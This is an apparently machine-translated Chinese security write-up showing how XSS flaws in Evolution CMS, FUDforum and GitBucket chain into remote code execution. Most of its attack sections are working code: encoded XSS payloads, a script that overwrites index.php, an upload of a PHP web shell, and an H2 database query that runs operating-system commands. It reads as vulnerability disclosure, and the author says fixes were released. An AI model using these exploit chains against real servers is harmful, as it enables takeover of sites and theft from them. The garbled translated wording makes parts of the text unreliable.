跨站点脚本 (XSS) 是 Web 运用程序中最常见的攻击之一。如果攻击者可以将 JavaScript 代码注入运用程序输出,这不仅会导致 cookie 盗窃、重定向或网络钓鱼,在某些情形下还会导致系统完备受损。
在本文中,我将通过 Evolution CMS、FUDForum 和 GitBucket 的示例展示如何通过 XSS 实现远程代码实行。
链接:https://github.com/evolution-cms/evolutionCVE:待定

Evolution CMS将自己描述为天下上最快,最可定制的开源PHP CMS。
在Evolution CMS中,我创造了用户掌握数据的未逃逸显示,这导致了反射XSS攻击的可能性:
管理器/视图/页面/user_roles/权限.刀片.php
管理器/视图/页面/user_roles/user_role.blade.php
管理器/视图/页面/user_roles/permissions_groups.blade.php
我将举一个带有有效载荷的链接示例。
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E
如果系统中授权的管理员点击链接或单击它,则 javascript 代码将在管理员的浏览器中实行:
进化CMS中反射XSS攻击的利用
在Evolution CMS的管理面板中,在文件管理器部分,管理员可以上传文件。问题是它无法上传 php 文件,但是,它可以编辑现有文件。
我们将给出一个示例 JavaScript 代码,它将覆盖 index.php 文件:phpinfo()
$.get('/manager/?a=31',function(d) { let p = $(d).contents().find('input[name=\"path\"]').val(); $.ajax({ url:'/manager/index.php', type:'POST', contentType:'application/x-www-form-urlencoded', data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'} );});
是时候将有效负载和上面描述的javascript代码结合起来了,例如,可以用Base64编码:
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E
如果成功攻击系统中授权的管理员,索引.php文件将被攻击者放置在有效负载中的代码覆盖。在本例中,这是一个函数调用:phpinfo()
在演进CMS v3.1.8中通过反射型XSS实现远程代码实行
FUD论坛 v3.1.1链接:https://github.com/fudforum/FUDforumCVE:待定
FUDforum是一个超快速且可扩展的谈论论坛。它是高度可定制的,并支持无限的成员、论坛、帖子、主题、民意调查和附件。
在 FUDforum 中,我创造在私人或论坛主题中以附件名称显示用户掌握的数据的未转义显示,这许可实行存储的 XSS 攻击。附加并上传名称为:的文件。下载此文件后,javascript 代码将在浏览器中实行:<img src=1 onerror=alert()>.png
利用 FUD论坛 v3.1.1 中的 XSS 漏洞
FUDforum管理面板有一个文件管理器,许可您将文件上传到做事器,包括扩展名为php的文件。
攻击者可以利用存储的 XSS 上传可在做事器上实行任何命令的 php 文件。
FUDforum已经有一个公开的漏洞,它利用javascript代码代表管理员上传一个php文件:
const action = '/adm/admbrowse.php';function uploadShellWithCSRFToken(csrf) { let cur = '/var/www/html/fudforum.loc'; let boundary = "-----------------------------347796892242263418523552968210"; let contentType = "application/x-php"; let fileName = 'shell.php'; let fileData = "<?=`$_GET[cmd]`?>"; let xhr = new XMLHttpRequest(); xhr.open('POST', action, true); xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary); let body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="cur"\r\n\r\n'; body += cur + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n'; body += csrf + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + contentType + "\r\n\r\n"; body += fileData + "\r\n\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n'; body += "1" + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n'; body += fileName + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n'; body += "Upload File" + '\r\n'; body += "--" + boundary + "--"; xhr.send(body);}let req = new XMLHttpRequest();req.onreadystatechange = function() { if (req.readyState == 4 && req.status == 200) { let response = req.response; uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value); }}req.open("GET", action, true);req.responseType = "document";req.send();
现在,攻击者可以给自己写一条私人,并将上述漏洞附加为文件。发送给自身后,须要获取做事器上托管的javascript漏洞的路径:
index.php?t=getfile&id=7&private=1
下一步是准备将通过存储的XSS攻击实行的javascript有效负载。有效负载的实质是获取早期漏洞并运行它:
$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})
剩下的便是将所有内容放在一起,以形成私人中附件的全名。我们将在 Base64 中对组装好的 JavaScript 有效负载进行编码:
<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png
管理员读取攻击者随附件发送的私信后,会代表管理员在做事器上创建一个名为shell.php的文件,许可攻击者在做事器上实行任意命令:
通过 FUDforum v3.1.1 中存储的 XSS 实现远程代码实行
GitBucket v4.37.1链接:https://github.com/gitbucket/gitbucketCVE:待定
GitBucket 是一个由 Scala 供应支持的 Git 平台,易于安装、高可扩展性和 GitHub API 兼容性。
在 GitBucket 中,我创造在主页和攻击者的配置文件页面 () 上显示用户掌握的问题名称的未转义显示,这会导致存储 XSS:/hacker?tab=activity
利用 GitBucket v4.37.1 中存储的 XSS
具有存储的XSS攻击,可以考试测验利用它以在做事器上实行代码。管理面板具有用于实行SQL查询的工具 - 数据库查看器。
默认情形下,GitBucket 利用H2 数据库引擎。对付此数据库,存在一个公开可用的攻击来实现远程代码实行。
因此,攻击者须要做的便是基于此漏洞创建一个PoC代码,将其上传到存储库并在攻击期间利用它:
var url = "/admin/dbviewer/_query";$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'}).done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})
通过存储的 XSS 将用于利用 H2 数据库引擎的 PoC 代码上传到存储库
现在剩下的便是创建一个新问题或重命名旧问题,并在加载早期漏洞的情形下实行存储的 XSS 攻击:
Issue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>
利用有效负载创建新问题
当管理员访问攻击者的个人资料页面或主页时,将代表他实行漏洞利用,并在做事器上创建一个文件:HACKED
利用管理员帐户访问攻击者的个人资料
检讨是否实现了远程代码实行
结论我们已经证明,低技能攻击者可以通过多个开源运用程序中的任何 XSS 攻击轻松实现远程代码实行。
有关所有创造的漏洞的信息都报告给掩护职员,官方存储库中已供应了修复程序。